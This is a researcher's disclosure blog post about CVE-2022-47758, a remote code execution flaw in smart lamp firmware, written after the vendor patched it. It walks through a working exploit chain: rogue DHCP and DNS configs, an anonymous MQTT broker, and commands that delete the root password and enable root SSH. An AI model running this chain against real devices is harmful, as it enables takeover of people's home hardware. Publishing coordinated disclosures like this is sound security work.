How I hacked smart lights: the story behind CVE-2022-47758


In this blogpost, we take a closer look at our research regarding CVE-2022-47758: a critical vulnerability impacting a very large number of Internet of Things smart devices. We could leverage this vulnerability in the lamp's firmware for unauthenticated remote code execution on the entire device with the highest privileges and hence abuse it for information gathering (and for haunting someone in their own house). Additionally, we could pivot to the management devices using a vulnerability in the smart lamps' desktop management software (CVE-2022-46640). To make matters more interesting: the vulnerable traffic flowed through an encrypted outbound connection which means that it typically isn't blocked by a firewall. This blogpost serves as a cautionary tale for both vendors and consumers, highlighting the importance of IoT security. Join us as we dive into the technical details and lessons learned from our research.

Proof of Concept exploit

The goal of our proof of concept (PoC) exploit is proving that we can remotely execute code on our own smart lamps. For the PoC exploit we're redirecting local traffic to the vendors MQTT(S) broker to our own machine via malicious DNS records. In practice, an attacker could perform this redirect by committing either a rogue DHCP server attack, hacking a router, hacking a DNS server, et cetera. Once we have control over the MQTT traffic, we send a debugging command to a debugging endpoint on our smart lamp. Finally, we activate a persistent OpenSSH server in order to easily access the lamp.


We use the following methodology in this blogpost:

  • * - the vendor domain names
  • - the vendor MQTT broker domain name
  • - our controlled network environment
  • - our attacker machine
  • - our vulnerability smart device

Spoofing DNS

In order to spoof DNS we need to set up a rogue DHCP server. The Dynamic Host Configuration Protocol (DHCP) is primarily used by network administrators to set the private ip addreses of devices on the network dynamically. However, DHCP packets also have a few more interesting parameters: domain name servers IP addresses, hostnames, and even gateway IP addresses. In order to MitM MQTT traffic to, we are setting the domain name of the smart lamp by creating a malicious DHCP offer - using our rogue DHCP server - which sets the domain name server to

By installing isc-dhcp-server on our Linux install and configuring it to run maliciously on our local network environment ( We want to make the smart lamp use our own DNS resolver over at The configuration we use is as following:

subnet netmask {
    range                 ;
    option broadcast-address;
    option routers        ;
    option subnet-mask    ;
    option domain-name-servers;  # set DNS resolver

    host router {
        hardware ethernet <mac_router>;

    host attacker {
        hardware ethernet <mac_attacker>;

    host lamp {
        hardware ethernet <mac_lamp>;

/etc/dhcp/dhcpd.conf - setup DHCP server to spoof DNS and spoof DNS

In order to change the IP address to which points, we need to setup our own DNS resolver by installing bind9 and setting a custom DNS record for the which points to our own MQTT broker:

; BIND data file for local loopback interface
$TTL	604800
@	IN	SOA	mqtt.acme. (
			      2		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			 604800 )	; Negative Cache TTL

ns	IN	A
@	IN	A

/etc/bind/named.conf.local - malicious DNS record (redirects traffic to our malicious IP)

Setting up a malicious MQTT broker

Since our traffic to now points to our own IP address (, we can eavesdrop the traffic. However, in order to interact with this traffic, we need to set an MQTT broker up on We do this so we can publish to a custom debugging MQTT channel devoted to debugging (custom made by Acme). By publishing on this MQTT channel, we can execute commands. It's important that the server listens on port 443, has TLS encryption and allows anonymous logins. Hence, if the smart lamp tries to connect to mqtts:// it should succeed. We configured it by using the following configuration:

# Place your local configuration in /etc/mosquitto/conf.d/
# A full description of the configuration file is at
# /usr/share/doc/mosquitto/examples/mosquitto.conf.example

listener 443
cafile /etc/mosquitto/ca_certificates/ca.crt
keyfile /etc/mosquitto/certs/server.key
certfile /etc/mosquitto/certs/server.crt
tls_version tlsv1.2
allow_anonymous true
protocol mqtt

persistence true
persistence_location /var/lib/mosquitto/
log_dest file /var/log/mosquitto/mosquitto.log

include_dir /etc/mosquitto/conf.d

/etc/mosquitto/mosquitto.conf - malicious MQTT(S) broker to allows all logins

As you might have noticed, we are dealing with MQTTS. Like HTTPS, the S in MQTTS stands for Secure. In order to make such a protocol secure, we need to create TLS certifications so we can encrypt the MQTT trafifc coming from our own MQTT broker. We can create such TLS certifications by running the following command:

$ openssl genrsa -des3 -out /etc/mosquitto/ca_certificates/ca.key 2048
$ openssl req -new -x509 -days 1826 -key /etc/mosquitto/ca_certificates/ca.key -out /etc/mosquitto/certs/ca.crt
$ openssl genrsa -out /etc/mosquitto/certs/server.key 2048

Creating TLS keys/certificates using OpenSSL

Performing the exploit

Now we have our infrastructure set up, we need to reboot the lamp such that it will trigger a DHCP discover request as part of the Discover Offer Request Accept (DORA) sequence. The next part of the DORA sequence would be 'Offer', where the server offers a new IP address (and our domain name server IP address) to our smart lamp. That offer will set the lamps DNS records of to

We can confirm that the vulnerable smart lamp is using our own MQTT broker by inspecting the local traffic using Wireshark on After the victim device has connected to our server, we want to activate an OpenSSH server. In order to do this, we create the /acme/ssh_enabled file which enables persistent SSH access after the device reboots. We could probably do it without rebooting, be it would be a lot more unnecessary effort. After that, we stop the debugging of the touch command, and instead debug passwd -d root which deletes the password for the root user. This is convenient, because the default password is unknown and this way we can set the password without a TTY. Additionally the SSH server allows passwordless logins. In order to pull it off, we execute the following commands using mosquitto_pub (publishes messages to the Mosquitto broker):

$ mosquitto_pub -L mqtts:// -m "debug /bin/touch /acme/ssh_enabled" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "debug /bin/passwd -d root" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "debug /sbin/reboot" --insecure --cafile /etc/mosquitto/certs/ca.crt

Sending our payloads to our own MQTT broker

Once we started the OpenSSH server on the smart lamp, we can log into our smart lamp by simply executing ssh root@

$ ssh root@

root@ $ uname -a
Linux AcmeProduct-MAC 4.14.195 #0 Sun Sep 6 16:19:39 2020 mips GNU/Linux

Analyzing the smart device firmware

Since we have access to the firmware, we can analyze the firmware by extracting it using Binwalk - a tool for analyzing and extracting firmware. By running it with the -e (--extract) parameter, we can extract the firmware partitions. In our case, we can see that we have 3 partitions: a bootloader, a kernel, and an OpenWRT install (interestingly enough).

$ binwalk -e 4.5.1.firmware

80            0x50            uImage header, header size: 64 bytes, header CRC: 0xF012020D, created: 2020-09-06 16:19:39, image size: 1594132 bytes, Data Address: 0x80000000, Entry Point: 0x80000000, data CRC: 0xFB832D09, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-4.14.195"
144           0x90            LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 5029060 bytes
1594276       0x1853A4        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 7060690 bytes, 1210 inodes, blocksize: 262144 bytes, created: 2020-09-06 16:19:39

Binwalk output when extracting the firmware

Enumerating the OpenWRT installation

The output of Binexp is a SquashFS filesystem instance which got carved out of the extracted partition. SquashFS performs heavy compressions and hence it probably was used by the smart lamp developers because it saves storage costs. Since SquashFS doesn't have different layers such as OverlayFS, we do not have any hassle regarding fixing the FS.

$ tree . -L 2
├── 4.5.1.firmware
└── squashfs
    ├── bin
    ├── dev
    ├── etc
    ├── lib
    ├── mnt
    ├── acme_config
    ├── overlay
    ├── proc
    ├── rom
    ├── root
    ├── sbin
    ├── sys
    ├── tmp
    ├── usr
    ├── var -> tmp
    └── www

The output directory of binwalk

One of the first things we did was verifying with what OS we were working and checking which users existed on the device. After we established that the lamp was running OpenWRT - a router OS interestingly enough - and we couldn't find any custom users in /etc/passwd, we decided to look into the next interesting directory: /acme_config/.

$ cat etc/os-release                 
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt 19.07.4"
OPENWRT_TAINTS="no-all busybox"
OPENWRT_RELEASE="OpenWrt 19.07.4 r11208-ce6496d796"

/etc/os-release - OS related information

$ cat etc/passwd

/etc/passwd - users on the device

We started searching in /acme_config/ for interesting keywords such as grep -iRPe '(ssh)|(mqtt)|(ftp)|(api)' to find possible exposed services as an attack surface. As we researched the binaries containing the specified keywords, we found out that a particular binary called ColorCC.bin contained the entire smart lamp API accessible via HTTP (built using the OpenAPI C++ SDK). We tried searching for memory corruption bugs for easy RCE but could not find any. Next, a binary called cloud_daemon caught our attention because it contained an MQTT client...

Investigating the MQTT handler

In order to grasp the internal logic of the cloud_daemon, we can open it in Ghidra. Ghidra is a software reverse engineering suite developed by the National Security Agency (NSA). We can use Ghidra to decompile Assembly instructions (the raw instructions that go into the CPU) into normal C, which is relatively readable by code monkeys like us.

void main(int argc,char **env)
  int iVar1;
  long lVar2;
  int i;
  char **ppcVar3;
  long port;
  char *pcVar4;
  char addr_str [128];
  pthread_t pThread;
  undefined4 uStack_34;
  char *pcStack_30;
  printf("This is Cloud Daemon version %s (%s)\n","1.12.0",
         "1.12.0 / Wed Aug 26 09:08:45 EDT 2020 / Backlog0740 / Color_develop");
  port = 0;
  do {
    if (argc <= 1) {
      // set MQTT channel variables

      // print which MQTT channels will be used for what
      printlog(3,"We will publish firmware communications to [%s]\n",&update_client);
      printlog(3,"We will receive firmware communications from [%s]\n",&update_server);
      printlog(3,"We will publish debug communications to [%s]\n",&exec_client);
      printlog(3,"We will receive debug communications from [%s]\n",&exec_server);
      printlog(3,"We will publish health communications to [%s]\n",&uptime_client);
      printlog(3,"We will receive health communications from [%s]\n",&uptime_server);
      set_host(addr_str, port);
      // creates posix thread to execute the start_firmware_checks() function
      while (iVar1 = pthread_create(&pThread, NULL, start_firmware_checks, &DAT_00414c84), iVar1 != 0 ) {
        printlog(1,"Error creating https upgrade check thread, retrying in %d seconds ...\n",timeout);
        printlog(1,"Error in (func, line): %s, %d\n", &function, 0x41f);

      printlog(2, "Successfully launched https upgrade check thread\n");
      cloud_pipe_start(&ROM_DEVICE_ID,&ROM_SERIAL_NUMBER, channel, on_disconnect_cb, on_tick_cb, 1000);
      if (DAT_004152f0 != 0) {
        printlog(2, "Rebooting\n");

main() function - initializes the MQTT client channels

Client will publish firmware communications to [acme/device/serialno/update/client]
Client will receive firmware communications from [acme/device/serialno/update/server]
Client will publish debug communications to [acme/device/serialno/exec/client]
Client will receive debug communications from [acme/device/serialno/exec/server]
Client will publish health communications to [acme/device/serialno/uptime/client]
Client will receive health communications from [acme/device/serialno/uptime/server]

Communication channels used by MQTT client

We can see that cloud_pipe_start() ( is called in main(), which registers several callback functions: cloud_pipe_start(..., ..., register_channels, on_disconnect_cb, on_tick_cb, ...). The function register_channels is a wrapper for registering handlers for the MQTT channels discussed above.

void register_channels(void)
  printlog(2,"Connection up\n");

register_channels() - registers the MQTT message handlers per MQTT channel

The most interesting handler function sounds like debug, which handles messages on the channel /acme/device/serialno/exec/server. This function handles debug requests: it can execute a binary (debug a process) based on the MQTT requests parameters, or kill the process (stop the debugging). In order to start debugging a binary, we can publish the following the the server exec channel: debug /bin/echo "Hello World!", of which "Hello World!" should be nicely returned in an MQTT message on the channel /acme/device/serialno/exec/client. When we want to execute another binary or generally stop debugging, we can simply issue a stop command.

So far, I hope that the following part of the MQTT payload in the PoC exploit makes sense:

# create a file called /acme_config/ssh_enabled by 'debugging' /bin/touch
$ mosquitto_pub -L mqtts:// -m "debug /bin/touch /acme/ssh_enabled" --insecure --cafile /etc/mosquitto/certs/ca.crt

# stop debugging so we can execute another command
$ mosquitto_pub -L mqtts:// -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt

# delete (reset) the root password by 'debugging' /bin/passwd
$ mosquitto_pub -L mqtts:// -m "debug /bin/passwd -d root" --insecure --cafile /etc/mosquitto/certs/ca.crt

# stop debugging so we can execute another command
$ mosquitto_pub -L mqtts:// -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt

# reboot to start the OpenSSH server, but we can probably do it without reboot
$ mosquitto_pub -L mqtts:// -m "debug /sbin/reboot" --insecure --cafile /etc/mosquitto/certs/ca.crt

A rewind to the PoC exploit payload commands

Investigating the communication protocol

Now we have a primitive for our exploit: a debugging endpoint which could be abused if we could send messages on the /acme/device/serialno/exec/server channel of the MQTT broker. Mind you, it would cause CHAOS if this MQTT broker could be hacked to allow an attacker to send messages to all devices connected to the MQTT broker. Since we don't want to try to hack the vendor since it would be cybercrime, we aren't going to test the official MQTT broker, so we tried to find ways to MitM the traffic going to, however we couldn't succeed since it used TLS... But - we asked ourselves - what if the TLS configuration was insecure? E.g. an insecure version?

In order to find the TLS configuration, we dug into the functions that were called to setup the MQTT client: cloud_pipe_subscribe and cloud_pipe_start. By running a simple grep -iRe 'cloud_pipe_subscribe' query again, we can see that our function is originating from /acme_config/acme_programs/

$ grep -iRe 'cloud_pipe_subscribe'
grep: lib/ binary file matches
grep: acme_config/acme_programs/cloud_daemon: binary file matches
grep: acme_config/acme_programs/ binary file matches
grep: sbin/cloud_daemon: binary file matches

grep - utility for searching strings

An interesting part of the cloud_pipe_start() function is the subsystem where a TLS network connection gets initiated by ConnectNetwork() and the MQTTClient gets initiated by MQTTClient(). We can find the TLS configuration in ConnectNetwork() and I quickly identified the used TLS library as mbedtls. Whilst searching for documentation of the used functions in the mbedtls library, I found out that the parameter MBEDTLS_SSL_VERIFY_NONE gets passed to the configuration function mbedtls_ssl_conf_authmode. This means that TLS certifications are not validated...

  printf("  . Connecting to %s:%s...",addr,port_str);
  fd_stdout = stdout;
  param1 = mbedtls_net_connect(&ctx_net,addr,port_str,0);
  if (param1 != 0) {
    printf(" failed\n  ! mbedtls_net_connect returned %d\n\n",param1);
    return -1;
  puts(" ok");
  initiated_seed = 0;
  printf("  . Setting up the SSL/TLS structure...");
  pcVar4 = (char *)0x0;
  pcVar3 = (code *)0x0;
  success = mbedtls_ssl_config_defaults((undefined4 *)&ssl_config,0,0,0);
  if ((int *)success == (int *)0x0) {
    puts(" ok");

    // mbedtls_ssl_conf_authmode() - Set the certificate verification mode
    // #define MBEDTLS_SSL_VERIFY_NONE 0
    mbedtls_ssl_conf_rng(ssl_config, mbedtls_ctr_drbg_random, &ctx_ctr_drbg_init);
    pcVar3 = (code *)fd_stdout;
    success = mbedtls_ssl_setup((undefined4 *)&DAT_00100838,&ssl_config);

ConnectNetwork() - create the TLS connection to a server

We have the final piece.

Creating a Proof of Concept exploit

The primitives in our exploit are complete: we have a dangerous debugging endpoint listening to a server which can be eavesdropped. Now it's a matter of performing a Man-in-the-Middle (MitM) attack on the MQTT broker and creating a payload to send.

We have plenty of options to MitM network traffic when the TLS certifications aren't verified, but our favorite approach is using a rogue DHCP server to serve fake DNS records. We picked the isc-dhcp-server DHCP service because it works on Linux and because it's very customizable. We're using option domain-name-server to set the DNS server to on the smart lamp. This means that if the lamp requests, it will be resolved by our own DNS resolver over at

We used bind9 as a DNS resolver in order to create fake DNS zones/records. We created a basic type A (IPv4) DNS record for which redirects to our own MQTT broker Usually these kind of attacks are prevented by verifying the TLS certifications of the broker as a client, but the smart lamp did not perform those verification checks.

For the final serice we needed an MQTT broker, for which we chose mosquitto. We didn't configure it at all and just made sure that it was possible to publish and subscribe to any MQTT channels. However, we had to make sure that our service was running on port 443 (which is typically used for HTTPS), that it supported TLS, and that anonymous logins were allowed (anonymous login means that any username/password is allowed to login).

Now we have our entire infrastructure up and running, we need to send the payload commands to our own MQTT broker. We can easily use the mosquitto_pub utility for this to publish our own messages to specific channels. Additionally, we can use the mosquitto_sub utility for subscribing to other channels so that we can receive stdout from the smart lamp. In order to easily get our very own OpenSSH server we need to create a file called /acme_config/ssh_enabled and reboot. However, root is the only user with a default shell (/bin/ash) but we don't know its password.

$ cat etc/passwd

/etc/passwd - contains user information

We can overwrite the root password using passwd -d which resets the password to be empty, and the OpenSSH will gladly accept that. This means that we can essentially start an OpenSSH server using touch /acme_config/ssh_enabled && passwd -d && reboot. However, in practice our commands get executed using execv(char* filepath, char** argv). This means that we need to execute the commands seperately with the full path. Hence, our payload is as follows:

$ mosquitto_pub -L mqtts:// -m "debug /bin/touch /acme/ssh_enabled" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "debug /bin/passwd -d root" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "stop" --insecure --cafile /etc/mosquitto/certs/ca.crt
$ mosquitto_pub -L mqtts:// -m "debug /sbin/reboot" --insecure --cafile /etc/mosquitto/certs/ca.crt

When we execute this, we start the OpenSSH server and we can log in as root:

$ ssh root@

root@$ whoami


As we have discovered in this article, a critical vulnerability was found in many, many IoT smart lighting devices, allowing attackers to gain control over the entire device and access sensitive information. This serves as a reminder of the importance of IoT security for both vendors and consumers.

As consumers, we can follow these best practices to enhance the security of our home network:

  1. Keep devices' software up-to-date to prevent vulnerabilities from being exploited.
  2. Keep smart devices on a separate sub-network to reduce privacy concerns.
  3. Use long passwords (even pass-sentences) and two-factor authentication where possible.
  4. Disable unused or unnecessary services and ports on devices.

As developers, we can implement the following best practices to ensure the security of our IoT devices:

  1. Conduct thorough security assessments and penetration testing to identify and fix vulnerabilities before deploying devices.
  2. Implement encryption and authentication mechanisms to secure data transmitted between the device and the server.
  3. Use secure coding practices and avoid insecure software libraries.
  4. Regularly update and patch devices to fix security vulnerabilities (and do it fast :-) ).

By following these best practices, we can reduce the risk of security breaches and ensure the safety and security of our connected devices and home networks.

Furthermore, the vulnerabilities in said smart lamps were patched by the vendor in early January 2023, about a month after coordinated vulnerability disclosure. The vendor gave us explicit permission to publish this blogpost - under the agreement we wouldn't mention the vendors name nor product name - and gave us permission to publish CVE-2022-47758.

We hope this blogpost has been as interesting to read for you as it was for us to write, and thank you for taking the time to read this blogpost.

Notselwyn, March 2023